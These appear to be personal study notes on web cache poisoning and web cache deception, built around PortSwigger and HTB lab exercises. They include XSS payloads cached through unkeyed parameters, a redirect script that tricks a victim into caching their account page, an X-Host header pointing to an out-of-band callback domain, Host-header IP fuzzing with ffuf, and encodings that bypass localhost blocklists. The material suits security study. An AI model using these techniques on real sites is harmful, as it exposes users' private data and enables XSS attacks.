Web Cache

Web Cache poisoning or deceptions.

A web cache is a system that temporarily stores copies of web resources (HTML pages, images, CSS, JavaScript, etc.) to serve them faster on future requests. Its located between the origin server and user. When a user requests a website or static resource the request is first send to the cache, if there's not copy of the resource there it results in a MISS or cache MISS. The request is then forwarded to the origin server which responds to the request. The response is sent to the cache.

  1. Cache checks if it has a stored copy

  2. If yes (cache hit) → serves the cached version instantly

  3. If no (cache miss) → fetches from origin server, stores copy, then serves it

Cache Keys

Whether the server should send a cached response or forward the request to the origin server. The cache decides on this by generating a cache key based on element in the request, like URL paths, query parameter or other HTTP headers.

If a request key matches the key of previous request it will serve a copy of the cache response.

Cache Key example:

GET /index.html?language=en HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html

There are keyed and unkeyed parameters in the Cache key. In example below the keyed parameter in thet GET requests differ, while user-agent and accept are unkeyed.

GET /index.html?language=en HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml

How to identify unkeyed paremeters

To inject malicious payloads into the web cache we need unkeyed parameters because keyed need to be the same when the victim access the resources.

Payload in unkeyed ref parameter

/index.php?language=en&ref="><script>alert(1)</script>

If user makes request after that like below it will get the XSS payload.

/index.php?language=en

Unkeyed GET Parameters

X-Cache-Status

This header will tell if the response was cached or not. If this header is not present you have to find it manually by changing parameters and checking the responses.

# Cached response
HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Thu, 24 Jul 2025 10:17:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1849
Connection: keep-alive
Vary: Accept-Encoding
X-Cache-Status: HIT

Testing content parameter

# First request is miss
/index.php?language=valuewedidnotusebefore&ref=test123

# Request again is hit
/index.php?language=valuewedidnotusebefore&ref=test123

# Change value third request is hit
/index.php?language=valuewedidnotusebefore&ref=Hello

Since the content parameter is different but still get a cache hit, its unkeyed. Would the third request it be a miss it tells the cache key was different from the first 2 request, and thus its keyed.

For Unkeyed Headers the same methodology can be used to check for unkeyed headers.

In case of XXS vulns we can send this request twice to cache the payload then

GET /index.php?language=go&content="><script>alert(1)</script> HTTP/1.1
Host: 94.237.50.221:52841
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

This visit to trigger the payload: http://94.237.50.221:52841/index.php?language=go

URL Path Mapping

Is the process of mapping URL paths with resources on a server; like files, scripts, commands for example http://example.com/path/in/filesystem/resource.html. We can create discrepancies by sending a url like

http://example.com/user/123/profile/test.css

The origin server will ignore test.css and returns profile for user 123 The web cache using URL mapping will cache and server the profile for user 123. But the cache needs to be configured to store responses for request where path ends in .css.

How to test how the origin server maps URLs Test if you still get information back after changing the /api/product/123 to /api/product/123/foo./pro

Path mapping for web cache deception

This exercise is from portswigger. We start by finding an interesting endpoint where look for a discrepancy by changing the url. The original request we have:

GET /my-account HTTP/2
Host: 0ae000ac03a4c602818e4e7600e90076.web-security-academy.net

Trying to change the url by usin test or test.js it still returns the account page.

GET /my-account/test.js HTTP/2
Host: 0ae000ac03a4c602818e4e7600e90076.web-security-academy.net

Looking at the response we see X-Cache: miss. Meaning the page isn't cached, however since we sent the request the page is now cached. And if we send the request again it says X-Cache: hit.

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3824

To use this we can send the victim a fresh URL to cache like /my-account/test.js. If the victim has opened the link we can open the URL ourselves and we will get the response of the victim which was cached.

The victim will open the cached acount page exposing sensitive information.\

Delimiter discrepancies

A delimiter is a character or sequence of chars to separate or mark boundaries in data. In url we see ? for example. Discrepancies in how a cache or origin server use delimiters can result in web cache deception. For example Java Spring used ; but other frameworks don't use the ;. So a cache that doesn't use Java Spring is likely to interpret ; and everything after it as part of the path.

Finding delimiter chars

Fuzz chars and specials char in the path. /users/test/list to /users/test/lista and use this response to find the delimiter by adding a possible char between. /settings/test/list;aaa . If the response is identical to the base response, this indicates that the ; character is used as a delimiter.

If you found delimiters used by the origin server, add a static extension to the end and see if the response is cached.

Make sure to test all ASCII characters and a range of common extensions, including .css, .ico, and .exe.

  • The cache interprets the path as: /settings/test/list;aaa.js
  • The origin server interprets the path as: /settings/test/list

The origin server returns the dynamic profile information, which is stored in the cache.

For example we can send a request after having found delimiter ;

GET /my-account;aaa.js HTTP/2
Host: 0ac6000f048c058d80e803fc007a00f5.web-security-academy.net
Cookie: session=P7RVzwtdHRsDSBqQ8Z2TIH5Ho1R6F4qe

We get back, showing a miss in the cache

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3833

We now have url which is cached so create a fresh url and send it to the victim.

<script>window.location="https://0ac6000f048c058d80e803fc007a00f5.web-security-academy.net/my-account;pwn.js"</script>

When the victim clicks it will result in a HIT and the response is cached which we can retrieve by opening the url.

https://0ac6000f048c058d80e803fc007a00f5.web-security-academy.net/my-account;pwn.js

Delimiter decoding discrepancies

The cache and server can read the same URL different when one decodes special chars and the other doesn't. %23 is the encoded version of #

  • Server %23 decodes it to # meaning stop there.
  • Cache doesn't decode %23. and reads /test%23wcd.css ending at .css

Exploiting static directory cache rules

Web servers often store resrources in specific directories:

  • /static
  • /assets
  • /scripts
  • /images

Normalization discrepancies

Normalization is converting representations of a URL into a standardized format.

  • /folder/../file.txt becomes /file.txt

Differences in how the origin server and the cache normalize URL's can enable attackers to create a path traversel payload which is treated different by each parser. Example: /static/..%2fprofile.

  • Origin server: Decodes slash chars, resolves dot-segments > path will be /profile.
  • Cache: Doesn't resolve slashes or dot-segments > will interpret /static/..%2fprofile.

fat GET

We can use fat GET request where we use parameters in the body of the request. Below request would get german language instead of english confirming fat GET requests

GET /index.php?language=en HTTP/1.1
Host: fatget.wcp.htb:38159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 161

language=de

Host Header

The Host header tells the web server which website/domain the client wants to access when multiple sites are hosted on the same server. Like in the example below:

<VirtualHost *:80>
    DocumentRoot "/var/www/mczen"
    ServerName testapp.htb
</VirtualHost>

<VirtualHost *:80>
    DocumentRoot "/var/www/intranet"
    ServerName anotherdomain.org
</VirtualHost>

In our request we see

GET /index.html HTTP/1.1
Host: mcz3n.com

In case of local attacks you can fuzz ip's in the Host Header with 192.168.***.***

ffuf -u http://94.237.60.55:34165/admin.php -w ips.txt -H 'Host: FUZZ'  -fs 752

The host header is keyed so can't poision the cache, but X-Forwarded-Host or override headerX-Hostcould be cached.

So a request could look like, where's X-Host send twice to poison cache.

GET /login.php HTTP/1.1
Host: admin.test.local
X-Host: cf187gp2vtc0000b03cgg8owd3ayyyyyb.oast.fun

Bypassing Header Checks

Its possible there's a filter in place that checks for pre-configured domains. Trying another domain may result in an error as the domain is not in the pre-configuration file.

Port bypass

Applications may run on a non-default port during testing so trying any other port might bypass the header check.

Blacklist bypass

Using blacklist a app might block localhostand 127.0.0.1 but by simple encoding the address like 0x7f000001 we can bypass the check.

# Examples to try
0x7f000001
localhost
localHost
X-Host: 127.1